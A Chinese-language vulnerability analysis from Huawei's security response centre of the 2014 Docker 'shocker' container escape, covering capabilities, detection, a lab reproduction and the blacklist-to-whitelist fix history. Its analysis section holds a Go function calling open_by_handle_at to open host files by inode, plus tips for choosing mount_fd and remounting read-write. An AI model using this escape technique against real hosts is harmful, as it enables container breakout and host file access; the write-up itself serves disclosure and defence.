docker历史上的第一个漏洞:关于shocker的一切

docker历史上的第一个漏洞:关于shocker的一切

原创 王磊 华为安全应急响应中心 2024-12-03 10:10

1

基本信息

Item

Details

Note

Project

docker

CVE-ID

CVE-2014-3519(OpenVZ)

公开时docker已部分修复,未分配CVE

Vuln's Author

Sebastian Krahmer

CVSS

9.3CVSS:3.1/AV:L/AC:L/PR:N

/UI:N/S:C/C:H/I:H/A:H

byssst0n3

Affect Version

<= v1.0.0

v0.12.0和v1.0.0仅在使用lxc时受影响

Fix Version

v1.0.1

2

组件简介

Docker Capability

在 Docker 容器中,capabilities 允许你控制容器可以执行哪些权限较高的操作,而无需赋予它完整的 root 权限。这有助于增强安全性,因为即使容器被危害,其破坏范围也因受限的权限而被限制。

在 Linux 系统中,capabilities 将传统的 root 权限分解为更小、更具体的权限单元。例如,
CAP_NET_ADMIN 允许进行网络配置,而 
CAP_CHOWN 允许改变文件的所有者。

当运行一个 Docker 容器时,默认情况下,它不会具有宿主机上 root 用户的所有权限。Docker 使用一组默认的 capabilities 集合来提供必要的权限,同时限制其他可能会带来安全风险的权限。

使用
 –cap-add 选项可以赋予容器额外的 capabilities。例如,如果想让容器能够管理网络接口,可以添加 
NET_ADMIN capability:

docker run --cap-add=NET_ADMIN myimage

使用 
–cap-drop 选项可以移除容器的某些 capabilities。如果想阻止容器改变文件所有权,可以删除 
CHOWN capability:

docker run --cap-drop=CHOWN myimage

3

漏洞详情

漏洞影响

范围

  • <= v0.11.1, 使用native 和 lxc作为execdriver 均受影响

  • v0.12.0, v1.0.0, 在手动设置execdriver 为 lxc时受影响

利用场景

存在 CAP_DAC_READ_SEARCH 可读写主机任意文件,进而容器逃逸。

该Cap主要提供了根据文件句柄查找文件的能力,是极高危的权限,因Capability黑白名单使用策略而引入,修复后即默认不存在,实践中基本不会使用。

在用户使用特权容器或全量Capability时,尽管逃逸方法众多,但将shocker漏洞作为一种利用技术,因其利用简单、稳定的特点,则可以发挥很大作用。

漏洞防御

存在性检测

通过查看 /proc/1/status 的 CapBnd 字段检查漏洞是否存在。

可以使用 
ctrsploit checksec shocker 命令实现

root@e33b98bef3c3:/# ctrsploit --colorful checksec shocker✔  shocker      # Container escape with CAP_DAC_READ_SEARCH, alias shocker, found by Sebastian Krahmer (stealth) in 2014.

规避漏洞的措施为移除 CAP_DAC_READ_SEARCH。

利用检测

检查 open_by_handle_at 系统调用。

4

漏洞原始特性

docker 默认使用用的 CAP_DAC_READ_SEARCH,可以调用 open_by_handle_at 读取主机任意文件,实现容器逃逸。

Capability

在 Linux 系统中,Capability 是一种细粒度的权限控制机制,用于区分进程的特权。传统上,Unix 和类 Unix 系统上的进程要么是非特权的(普通用户权限),要么是超级用户权限(root)。这种“全有或全无”的权限模型会带来安全风险,因为拥有 root 权限的进程可以执行任何操作。

为了解决这个问题,Linux 引入了 Capability 划分,把传统的 root 权限细分为一系列独立的权限,比如操作网络接口、更改系统时间等。通过这种方式,可以将必要的最小权限赋给进程,降低系统遭受恶意软件或操作失误影响的风险。

默认情况下,容器并不运行在完全的 root 环境下,而是受限于一组默认的 Capability,这些 Capability 限制了容器内部进程的权限。这意味着即使容器内的进程以 root 用户运行,它也只能执行那些被明确授权的操作。例如,一个容器可能没有权限修改宿主机的网络配置或直接访问硬件设备。

runtime 允许用户在启动容器时自定义 Capability。你可以添加额外的权限,以支持特定的功能,或者删除默认权限,以进一步加强安全性。这种灵活性在保持容器功能性的同时,也帮助实现了最小权限原则,减少了潜在的安全风险。

CAP_DAC_READ_SEARCH

  1. 基础权限检查:generic_permission: 覆盖部分DAC

  2. open_by_handle_at (syscall): 根据inode打开指定文件系统下的文件

  3. link: 在路径为空仅有fd的情况下创建硬链接

  4. 3.1 linkat (syscall)

  5. 3.2 link (syscall)

  6. 3.3 io_linkat (io_uring)

  7. overlayfs: 一些内部函数实现了inode到path的查询

  8. btrfs: BTRFS_IOC_INO_PATHS ioctl, 实现inode到path的查询

open_by_handle_at

open_by_handle_at 是 Linux 系统中的一个系统调用,其主要用途是根据文件句柄(file handle)打开一个文件, 文件句柄可以由 inode number 组成。使用 open_by_handle_at 需要 CAP_DAC_READ_SEARCH 。

int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);

5

漏洞复现

以docker v0.12.0 (execdriver)为例

ssst0n3/docker_archive:shocker_docker-v0.12.0-lxc

$ git clone https://github.com/ssst0n3/docker_archive.git
$ cd docker_archive/vul/shocker/shocker_docker-v1.0.0-lxc
$ docker compose -f docker-compose.yml -f docker-compose.kvm.yml up -d
$ ./ssh
root@localhost:~# docker version
Client version: 1.0.0
Client API version: 1.12
Go version (client): go1.2.1
Git commit (client): 63fe64c
Server version: 1.0.0
Server API version: 1.12
Go version (server): go1.2.1
Git commit (server): 63fe64c
root@localhost:~# lxc-start --version
1.0.10

docker v1.0.0 在使用 lxc execdriver 时未修复,仍存在CAP_DAC_READ_SEARCH。

root@localhost:~# ./poc.sh 
+ echo 'loading docker image, docker-v1.0.0 cannot pull images from registry v2 anymore.'
loading docker image, docker-v1.0.0 cannot pull images from registry v2 anymore.
+ docker load
+ docker run -ti busybox:1.36.1 grep Cap /proc/1/status
CapInh:0000000000000000
CapPrm:00000018984ceeff
CapEff:00000018984ceeff
CapBnd:00000018984ceeff
root@localhost:~# capsh --decode=00000018984ceeff
0x00000018984ceeff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_chroot,cap_sys_ptrace,cap_sys_boot,cap_mknod,cap_lease,cap_setfcap,cap_wake_alarm,cap_block_suspend

6

漏洞分析

漏洞原理简单,拥有CAP_DAC_READ_SEARCH 即可调用 open_by_handle_at 系统调用,通过指定inode打开主机文件。本节主要分析漏洞如何利用。

open_by_handle_at

主要用途是在指定文件系统下打开文件句柄,只需要文件句柄信息不需要路径即可打开。

int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);
– mount_fd: 给定1个文件,将在文件所属的挂载点所属文件系统下查找和打开目标文件句柄

  • handle: 包含要打开文件的inode number的文件句柄

  • flags: 打开文件的选项

  • 返回打开的fd

其中文件句柄结构体如下,其中 handle_type 似乎并无要求,可以是任意值,(可能取决于文件系统的实现)

struct file_handle {
__u32 handle_bytes;
int handle_type;
/* file identifier */
unsigned char f_handle[];
};

go 实现:

/*
GetFd
inode: 欲打开文件的inode number
ref: 文件路径,open_by_handle_at 根据挂载点在其所属文件系统下打开文件句柄
return: 打开目标文件,返回fd
*/
func (v Vulnerability) GetFd(inode int, ref string) (fd int, err error) {
hostReference, err := syscall.Open(ref, syscall.O_RDONLY, 0)
if err != nil {
return
}
defer syscall.Close(hostReference)
inodeBytes := make([]byte, 8)
// 将 inode 转换为小端序的字节数组
binary.LittleEndian.PutUint64(inodeBytes, uint64(inode))
handle := unix.NewFileHandle(1, inodeBytes)
fd, err = unix.OpenByHandleAt(hostReference, handle, unix.O_RDONLY)
if err != nil {
return
}
return
}

reference

open_by_handle_at 系统调用的 mount_fd 参数通常为 
/etc/hosts 的fd, 由 k8s 或 docker 等容器组件挂载进容器内。

但有时也需要通过该参数调整inode所属的文件系统。

例如以下案例, /etc/hosts 挂载自
 /dev/mapper/kubernetes, 则只能打开该文件系统下的inode。

$cat /proc/self/mountinfo |grep host2297 2235 253:1 /containers/a70add2964af7d0891542a48578359192afcdb920c35260540c6d6da92fb1735/hostname /etc/hostname rw,nodev,noatime - ext4 /dev/mapper/docker rw,data=ordered2299 2235 253:0 /pods/0255d349-f826-4f52-9e37-fbc65e085fc8/etc-hosts /etc/hosts rw,noatime - ext4 /dev/mapper/kubernetes rw,data=ordered

而通常 rootfs 位于类似 /dev/sda1 的文件系统, 则可尝试将mount_fd指定为 
/home/user/work 。

$cat /proc/self/mountinfo |grep /dev/sd2291 2235 8:1 / /home/user/work rw,relatime - ext4 /dev/sda1 rw,data=ordered

inode

inode number通常可以设置为2 (每个文件系统的根目录的默认inode number),也可以遍历匹配文件路径。

Read-only file system

有时成功逃逸到了主机的rootfs,但提示只读文件系统。

root@0d792b99e7e0:/proc/self/fd/7# lsbin  boot  dev  etc  home  initrd.img  lib  lib32  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuzroot@0d792b99e7e0:/proc/self/fd/7# touch 1touch: cannot touch '1': Read-only file system

这是因为文件系统是只读挂载进容器的。如需要写操作,可以在利用 shocker 漏洞前 
mount -o remount,rw 重新挂载为 rw,或挑选rw挂载进容器的挂载点。

为什么容器的rootfs无法作为open_by_handle_at的mountfd参数?

未测试过所有graphdriver, 结论仅对 overlayfs 有效。

exportfs_decode_fh_raw
 函数使用文件系统提供的s_export_op->fh_to_dentry方法获取dentry。overlayfs 在设置了 config.nfs_export 时,会提供 s_export_op。而 overlayfs 默认情况下 nfs_export=N 。

$ cat /sys/module/overlay/parameters/nfs_export N

此外 nfs_export 还受 index, redirect_dir参数控制。尝试修改nfs_export启动容器,查看内核日志将发现:

# echo 1 > /sys/module/overlay/parameters/nfs_export # dmesg -w...[1645601.879722] overlayfs: disabling nfs_export due to index=off[1645601.935631] overlayfs: NFS export requires "redirect_dir=nofollow" on non-upper mount, falling back to nfs_export=off....

而且docker在挂载overlayfs时还主动设置了index=off

func Init(home string, options []string, idMap idtools.IdentityMapping) (graphdriver.Driver, error) {
...
// figure out whether "index=off" option is recognized by the kernel
_, err = os.Stat("/sys/module/overlay/parameters/index")
switch {
case err == nil:
indexOff = "index=off,"
case os.IsNotExist(err):
// old kernel, no index -- do nothing
default:
logger.Warnf("Unable to detect whether overlay kernel module supports index parameter: %s", err)
}
...
}

其他潜在被利用风险

不同文件系统实现了其他从file handle 到 路径的查询,也存在潜在利用可能。

7

漏洞引入分析

docker 早期将 runtime 称作 execdriver,本漏洞存在于 3 种 execdriver 中:
– lxc: <= v0.7.1, commit a27b4b

  • lxc(dockerinit): v0.7.2 – v1.0.0, commit b8f1c7 (尽管 v0.9.0 切换了默认的 exedriver 为 native, 但仍可以手动指定为 lxc), v1.0.1修复

  • native: v0.9.0 – v0.11.1 , commit 2419e6 ,v0.12.0修复

lxc

第1个 commit a27b4b8 就采用了基于黑名单的 capability 设计

const LxcTemplate = `
...
# drop linux capabilities (apply mainly to the user root in the container)
lxc.cap.drop = audit_control audit_write mac_admin mac_override mknod net_raw setfcap setpcap sys_admin sys_boot sys_module sys_nice sys_pacct sys_rawio sys_resource sys_time sys_tty_config
...
`

lxc(dockerinit)

commit b8f1c7 自 v0.7.2 起通过go代码实现了去除部分 capability 的功能, 不再通过lxc设置capabilty, 也使用黑名单机制。

sysinit/sysinit.go

func setupCapabilities(args *DockerInitArgs) error {


if args.privileged {
return nil
}


drop := []capability.Cap{
capability.CAP_SETPCAP,
capability.CAP_SYS_MODULE,
capability.CAP_SYS_RAWIO,
capability.CAP_SYS_PACCT,
capability.CAP_SYS_ADMIN,
capability.CAP_SYS_NICE,
capability.CAP_SYS_RESOURCE,
capability.CAP_SYS_TIME,
capability.CAP_SYS_TTY_CONFIG,
capability.CAP_MKNOD,
capability.CAP_AUDIT_WRITE,
capability.CAP_AUDIT_CONTROL,
capability.CAP_MAC_OVERRIDE,
capability.CAP_MAC_ADMIN,
}


c, err := capability.NewPid(os.Getpid())
if err != nil {
return err
}


c.Unset(capability.CAPS|capability.BOUNDS, drop...)


if err := c.Apply(capability.CAPS | capability.BOUNDS); err != nil {
return err
}
return nil
}

native

commit 2419e6 自 v0.9.0 起,引入了一种新的 execdriver, 叫作 libcontainer。

runtime.go

func NewRuntimeFromDirectory(config *DaemonConfig, eng *engine.Engine) (*Runtime, error) {
    ...
-   ed, err := lxc.NewDriver(config.Root, sysInfo.AppArmor)
+   ed, err := namespaces.NewDriver()
    ...
  runtime := &Runtime{
        ...
        execDriver:     ed,
        ...
    }
    ...
}

execdriver/namespaces/driver.go

+func (d *driver) Run(c *execdriver.Command, pipes *execdriver.Pipes, startCallback execdriver.StartCallback) (int, error) {
+   ...
+   container := createContainer(c)
+   ...
+}
...
+func createContainer(c *execdriver.Command) *libcontainer.Container {
+   container := getDefaultTemplate()
+   ...
+}

在这个 execdriver 中,默认以黑名单的形式设置容器的 capability 。黑名单禁用了以下高危 capability:

execdriver/namespaces/default_template.go

func DropCapabilities(container *libcontainer.Container) error {
if drop := getCapabilities(container); len(drop) > 0 {
c, err := capability.NewPid(os.Getpid())
if err != nil {
return err
}
c.Unset(capability.CAPS|capability.BOUNDS, drop...)


if err := c.Apply(capability.CAPS | capability.BOUNDS); err != nil {
return err
}
}
return nil
}


func getCapabilities(container *libcontainer.Container) []capability.Cap {
drop := []capability.Cap{}
for _, c := range container.Capabilities {
drop = append(drop, capMap[c])
}
return drop
}

此前, commit e8abaf 已经实现了 capability 的黑名单机制,这些函数在 init 或 exec 时会被执行。

pkg/libcontainer/capabilities/capabilities.go

func DropCapabilities(container *libcontainer.Container) error {
  if drop := getCapabilities(container); len(drop) > 0 {
    c, err := capability.NewPid(os.Getpid())
    if err != nil {
      return err
    }
    c.Unset(capability.CAPS|capability.BOUNDS, drop...)

    if err := c.Apply(capability.CAPS | capability.BOUNDS); err != nil {
      return err
    }
  }
  return nil
}

func getCapabilities(container *libcontainer.Container) []capability.Cap {
  drop := []capability.Cap{}
  for _, c := range container.Capabilities {
    drop = append(drop, capMap[c])
  }
  return drop
}

8

漏洞修复分析

修复方法是将 capability 的黑名单机制修改为白名单。多位核心开发者都提到过该思想。
– 2013-06-20, globalcitizen 在 PR #945 中在 lxc_template.go 中添加了一段注释, 提示了安全风险:

# drop linux capabilities (apply mainly to the user root in the container)
+#  (Note: 'lxc.cap.keep' is coming soon and should replace this under the
+#         security principle 'deny all unless explicitly permitted', see
+#         http://sourceforge.net/mailarchive/message.php?msg_id=31054627 )
lxc.cap.drop = audit_control audit_write mac_admin mac_override mknod setfcap setpcap sys_admin sys_boot sys_module sys_nice sys_pacct sys_rawio sys_resource sys_time sys_tty_config
  • 2013-10-04, ewindisch 发起了 issue #2080 , 讨论应启用默认拒绝原则:
    Rather than only supporting lxc.cap.drop, support should be added for lxc.cap.keep. This would enable the principle of deny-by-default, with an ability to granularly enable capabilities.

  • 2013-10-30, ewindisch 提交了 PR #2452, 提供了一种直接在 lxc_temaplate.go 中实现 capability 的白名单方法, 由用户通过cap选项来提供白名单列表。但因为lxc的版本兼容性问题而没有被合入。在这个PR的讨论中,jpetazzo, shykes, crosbymichael 建议需要开发一个抽象的 capability 集合,从而摆脱 lxc 语法和依赖。这成为了未来真正修复的思路。

  • 2013-12-13, tianon 在 PR #3015 提到:
    As an extra thought, couldn’t we switch this to a whitelisting approach to caps, instead of the brunt blacklist we’ve got now (as we’ve wanted in the past but couldn’t do due to LXC limitations)?

  • 2014-05-08, globalcitizen 提出 issue #5661, 指出当时的capability过于宽松

  • 2014-05-15, 为修复 issue#5661, vmarmol 在 PR #5810 设计了基于白名单的Capability

  • 2014-05-15, cyphar 在PR #5810 下提到过: 
    +1. Whitelist > Blacklist.

  • 2014-05-17, PR#5810 合入到了 master 分支。

但 PR#5810 仅修复了 native driver, lxc driver 在shocker漏洞公开后才 在 PR#6527 得到修复。

native

commit 9d6875 在 v0.12.0 修改了默认 capability, 由黑名单校验转为白名单。因此, cap_dac_read_search 被禁用了。

pkg/libcontainer/security/capabilities/capabilities.go

+// DropCapabilities drops all capabilities for the current process expect those specified in the container configuration.
 func DropCapabilities(container *libcontainer.Container) error {
-if drop := getCapabilitiesMask(container); len(drop) > 0 {
-c, err := capability.NewPid(os.Getpid())
-if err != nil {
-return err
-}
-c.Unset(capability.CAPS|capability.BOUNDS, drop...)
+c, err := capability.NewPid(os.Getpid())
+if err != nil {
+return err
+}


-if err := c.Apply(capability.CAPS | capability.BOUNDS); err != nil {
-return err
-}
+keep := getEnabledCapabilities(container)
+c.Clear(allCapabilityTypes)
+c.Set(allCapabilityTypes, keep...)
+
+if err := c.Apply(allCapabilityTypes); err != nil {
+return err
 }
 return nil
 }


-// getCapabilitiesMask returns the specific cap mask values for the libcontainer types
-func getCapabilitiesMask(container *libcontainer.Container) []capability.Cap {
-drop := []capability.Cap{}
+// getCapabilitiesMask returns the capabilities that should not be dropped by the container.
+func getEnabledCapabilities(container *libcontainer.Container) []capability.Cap {
+keep := []capability.Cap{}
 for key, enabled := range container.CapabilitiesMask {
-if !enabled {
+if enabled {
 if c := libcontainer.GetCapability(key); c != nil {
-drop = append(drop, c.Value)
+keep = append(keep, c.Value)
 }
 }
 }
-return drop
+return keep
 }

daemon/execdriver/native/template/default_template.go

func New() *libcontainer.Container {
container := &libcontainer.Container{
CapabilitiesMask: map[string]bool{
"SETPCAP":        false,
...
"MKNOD":          true,
"SYSLOG":         false,
+"SETUID":         true,
+"SETGID":         true,
+"CHOWN":          true,
+"NET_RAW":        true,
+"DAC_OVERRIDE":   true,
},
...
}
...
}

lxc(dockerinit)

PR #6527 自 v1.0.1 起,将 lxc 的 capability 由黑名单变成了白名单。白名单直接调用 native 的实现。

daemon/execdriver/lxc/driver.go

func init() {
execdriver.RegisterInitFunc(DriverName, func(args *execdriver.InitArgs) error {
...
-if err := setupCapabilities(args); err != nil {
-return err
-}
-if err := setupWorkingDirectory(args); err != nil {
-return err
-}
-if err := system.CloseFdsFrom(3); err != nil {
-return err
-}
-if err := changeUser(args); err != nil {
-return err
-}
+if err := finalizeNamespace(args); err != nil {
...
})
}

daemon/execdriver/lxc/lxc_init_linux.go

import (
...
+"github.com/dotcloud/docker/daemon/execdriver/native/template"
...
)
...
+func finalizeNamespace(args *execdriver.InitArgs) error {
...
+container := template.New()
+
+if !args.Privileged {
+// drop capabilities in bounding set before changing user
+if err := dropBoundingSet(); err != nil {
+return fmt.Errorf("drop bounding set %s", err)
+}
+
+// preserve existing capabilities while we change users
+if err := system.SetKeepCaps(); err != nil {
+return fmt.Errorf("set keep caps %s", err)
+}
+}
...
+if !args.Privileged {
+if err := system.ClearKeepCaps(); err != nil {
+return fmt.Errorf("clear keep caps %s", err)
+}
+
+// drop all other capabilities
+if err := dropCapabilities(); err != nil {
+return fmt.Errorf("drop capabilities %s", err)
+}
+}
...
+}

lxc

自 v0.7.2 起 capability 设置由 lxc 移动到了 lxc(dockerinit) , 漏洞点消失。

9

总结

本漏洞关键在于利用,默认Capability权限过大是在issues中讨论已久的问题,在默认拥有的Capability中寻找可用的利用技术即可。

作为 docker 的第1个漏洞, shocker在容器漏洞史上有着不可磨灭的地位。实际上到今天,鉴于它的利用稳定性,在特权容器逃逸时我也还是愿意利用shocker作为一种逃逸技术。

10

参考链接

https://seclists.org/oss-sec/2014/q2/565

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

推荐阅读

华为终端安全奖励计划诚邀您参与鸿蒙安全研究,赢取丰厚漏洞奖金

点这里
关注我们,一键三连~